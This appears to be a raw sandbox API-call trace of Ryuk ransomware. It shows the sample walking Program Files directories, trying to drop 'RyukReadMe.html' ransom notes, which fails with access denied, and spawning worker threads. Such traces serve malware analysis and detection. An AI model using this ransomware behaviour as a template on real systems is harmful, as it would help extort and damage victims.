	[0123.501] GetLastError () returned 0x5
	[0123.501] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.501] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaaca6870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaaca6870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0123.501] SetLastError (dwErrCode=0x0) 
	[0123.502] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.502] GetLastError () returned 0x5
	[0123.502] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaaca6870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaaca6870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79e00
	[0123.502] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaaca6870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaaca6870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.503] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0123.503] SetLastError (dwErrCode=0x0) 
	[0123.503] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.503] GetLastError () returned 0x5
	[0123.503] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.504] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa39cc2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa39cc2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.504] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0123.504] SetLastError (dwErrCode=0x0) 
	[0123.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.504] GetLastError () returned 0x5
	[0123.504] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0123.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79ce0
	[0123.505] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.506] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1
	[0123.506] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0
	[0123.506] FindClose (in: hFindFile=0x79ce0 | out: hFindFile=0x79ce0) returned 1
	[0123.506] SetLastError (dwErrCode=0x0) 
	[0123.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\designer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.506] GetLastError () returned 0x5
	[0123.506] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0123.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.507] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0123.507] SetLastError (dwErrCode=0x0) 
	[0123.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.507] GetLastError () returned 0x5
	[0123.507] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0123.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79ce0
	[0123.508] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.508] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1
	[0123.508] SetLastError (dwErrCode=0x0) 
	[0123.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.509] GetLastError () returned 0x5
	[0123.509] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0123.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0123.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0123.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1
	[0123.519] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0
	[0123.520] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0123.520] SetLastError (dwErrCode=0x0) 
	[0123.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.520] GetLastError () returned 0x5
	[0123.520] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.521] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0123.521] SetLastError (dwErrCode=0x0) 
	[0123.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.521] GetLastError () returned 0x5
	[0123.521] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0123.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0123.522] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.522] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0123.522] SetLastError (dwErrCode=0x0) 
	[0123.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.523] GetLastError () returned 0x5
	[0123.523] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0123.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0123.525] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.525] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1
	[0123.525] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0
	[0123.525] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0123.526] SetLastError (dwErrCode=0x0) 
	[0123.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.526] GetLastError () returned 0x5
	[0123.526] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0123.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.526] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1
	[0123.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0123.529] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1
	[0123.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x7c, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1
